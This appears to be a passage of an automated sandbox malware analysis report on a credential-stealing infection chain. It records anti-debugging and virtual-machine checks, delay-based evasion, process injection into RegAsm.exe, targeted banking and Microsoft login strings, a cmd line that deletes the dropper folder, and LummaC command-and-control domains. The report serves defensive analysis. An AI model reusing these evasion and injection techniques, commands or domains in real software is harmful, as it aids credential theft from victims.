Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534454 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534282 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533897 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533514 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533357 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532916 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532754 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532204 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532014 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531854 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531317 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531158 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530641 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530270 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529931 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529576 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529458 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529275 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529138 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528782 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 527895 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 527748 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 527094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526562 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526391 Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: BGDGHJ.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: BGDGHJ.3.dr Binary or memory string: discord.comVMware20,11696428655f
Source: BGDGHJ.3.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW>2+
Source: BGDGHJ.3.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: BGDGHJ.3.dr Binary or memory string: global block list test formVMware20,11696428655
Source: BGDGHJ.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.0000000001425000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-GBn
Source: BGDGHJ.3.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: BGDGHJ.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: BGDGHJ.3.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: BGDGHJ.3.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: BGDGHJ.3.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: BGDGHJ.3.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: BGDGHJ.3.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: BGDGHJ.3.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: BGDGHJ.3.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: MFDBG.exe, 00000008.00000002.4524017140.00000000059D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: BGDGHJ.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: BGDGHJ.3.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: BGDGHJ.3.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: BGDGHJ.3.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwaref
Source: BGDGHJ.3.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: BGDGHJ.3.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: BGDGHJ.3.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: BGDGHJ.3.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: BGDGHJ.3.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: BGDGHJ.3.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: BGDGHJ.3.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: BGDGHJ.3.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: BGDGHJ.3.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: KKEBKJJDGH.exe, 00000007.00000002.2680160304.0000000000B0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}"N
Source: BGDGHJ.3.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: BGDGHJ.3.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: BGDGHJ.3.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00445D10 LdrInitializeThunk, 13_2_00445D10
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_0041D95C
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_0041891A
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h] 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h] 3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h] 3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418563 mov eax, dword ptr fs:[00000030h] 3_2_00418563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418562 mov eax, dword ptr fs:[00000030h] 3_2_00418562
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA, 3_2_0040884C
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_0041D95C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004275FE SetUnhandledExceptionFilter, 3_2_004275FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041CFE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_0041CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C17B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_6C17B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C17B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6C17B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C32AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6C32AC62
Source: C:\Users\user\Desktop\file.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\file.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Contains functionality to inject code into remote processes
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_02A92131 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread, 0_2_02A92131
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
LummaC encrypted strings found
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: reinforcenh.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: stogeneratmns.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: fragnantbui.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: drawzhotdog.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: vozmeatillu.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: offensivedzvju.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ghostreedmnu.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: gutterydhowi.shop
Searches for specific processes (likely to inject)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 3_2_0041257F
Writes to foreign memory regions
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1017008 Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\EBGDHJECFC.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\EBGDHJECFC.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\ProgramData\EBGDHJECFC.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\ProgramData\EBGDHJECFC.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45D000
Source: C:\ProgramData\EBGDHJECFC.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 112C008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\KKEBKJJDGH.exe "C:\ProgramData\KKEBKJJDGH.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\EBGDHJECFC.exe "C:\ProgramData\EBGDHJECFC.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040111D cpuid 3_2_0040111D
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 3_2_0042B09C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA, 3_2_0042B191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free, 3_2_00429A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen, 3_2_0042B238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage, 3_2_0042B293
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement, 3_2_0042AB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW, 3_2_004253B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage, 3_2_0042B464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea, 3_2_0042746C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat, 3_2_00427546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_0042B550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesA, 3_2_0042B526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free, 3_2_00429D3E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l, 3_2_0042E53F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s, 3_2_0042B5F3
